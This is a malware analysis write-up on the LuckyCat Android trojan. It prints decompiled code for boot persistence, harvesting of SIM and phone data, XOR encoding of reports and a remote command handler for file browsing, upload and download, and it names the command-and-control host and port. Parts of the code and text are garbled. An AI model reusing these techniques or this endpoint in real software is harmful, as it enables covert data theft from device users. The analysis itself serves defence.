Lucky Cat is a Threat?

com.testService. The APK file name could be AQS.apk or testService.apk. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:

Apart from showing a toast message
Service Start OK!, LuckyCat does not seem to do much more:

com.testService will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED event:
public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
{
private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
public TServiceBroadcastReceiver()
{
}
public void onReceive(Context context, Intent intent1)
{
ComponentName componentName;
if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
{
Intent intent2 = new Intent("android.intent.action.RUN");
Intent intent3 = intent2.setClass(context, TService);
Intent intent4 = intent2.setFlags(268435456);
componentName = context.startService(intent2);
}
}
}
Whenever the device boots up, the trojan will launch its own service
TService that will run as a process com.testService:remote, taking 1,060 Kb out of RAM.
The trojan reads the state of the device SIM card by calling getSimState() method, as shown below:
public String getPhoneNumber()
{
StringBuffer stringBuffer1;
String string2;
StringBuffer stringBuffer2;
StringBuffer stringBuffer3;
StringBuffer stringBuffer4;
StringBuffer stringBuffer5;
StringBuffer stringBuffer6;
String string1;
TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
stringBuffer1 = new StringBuffer();
switch (telephonyManager.getSimState())
{
case 1:
stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
string2 = stringBuffer1.toString();
break;
case 0:
stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
string2 = stringBuffer1.toString();
break;
case 4:
stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 2:
stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 3:
stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
default:
string1 = telephonyManager.getLine1Number();
break;
}
return string1;
}
As shown in the listing above, the reported SIM card states are:
- 无卡 (No card)
- 未知状态 (Unknown state)
- 需要NetworkPIN解锁 (Need Network PIN unlock)
- 需要PIN解锁 (Require a PIN to unlock)
- 需要PUK解锁 (Need PUK to unlock)
- (The phone number string for line 1, e.g. MSISDN for a GSM phone)
greenfuns.3322.org, port 54321.
The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz and 369, and then encrypted on top with a XOR keys 0x05 and 0x27:
public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
{
byte[] arrayOfByte1 = new byte[10240];
byte[] arrayOfByte2 = new byte[4];
Arrays.fill(arrayOfByte1, 0, 10240, 0);
Arrays.fill(arrayOfByte2, 0, 4, 0);
System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
int i = 0;
if (i >= paramInt2);
while (true)
{
return;
int j = i + 1;
arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
if (j >= paramInt2)
continue;
i = j + 1;
arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
if (i < paramInt2)
break;
}
}
As soon as the trojan submits the report to command-and-control server, it receives back response from it. The response is checked to make sure it starts with the marker
ejsi2ksz. It is then decrypted by calling the same symmetrical function encryptKey().
The decrypted response is then parsed to see if it contains one out of 5 remote commands:
switch
{
case AR_ONLINEREPORT: goto exit;
case AR_REMOTESHELL: goto exit;
case AR_DIRBROSOW: goto browse_directory;
case AR_FILEDOWNLOAD: goto file_download;
case AR_FILEUPLOAD: goto file_upload;
default: goto exit;
}
exit:
mDbgMsg("+++");
exc1();
socket2 = socket3;
mDbgMsg(exc1.getMessage());
socket2.close();
mDbgMsg("socke close");
exc3();
browse_directory:
i8 = 0 + 64;
int j8 = readU16(array_b, i8);
int k8 = i8 + 2;
String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
Arrays.fill(array_b, 64, 10176, 0);
i9 = GetDirList(string3, array_b, 64);
As seen in the reconstructed source code above, out of 5 remote commands, only 3 are actually implemented:
AR_DIRBROSOW: directory browsing, handled byGetDirList()AR_FILEDOWNLOAD: file download, handled bymReadFileDataFun()AR_FILEUPLOAD: file upload, handled bymWriteFileDataFun()
AR_ONLINEREPORT: 'online report' commandAR_REMOTESHELL: remote shell execution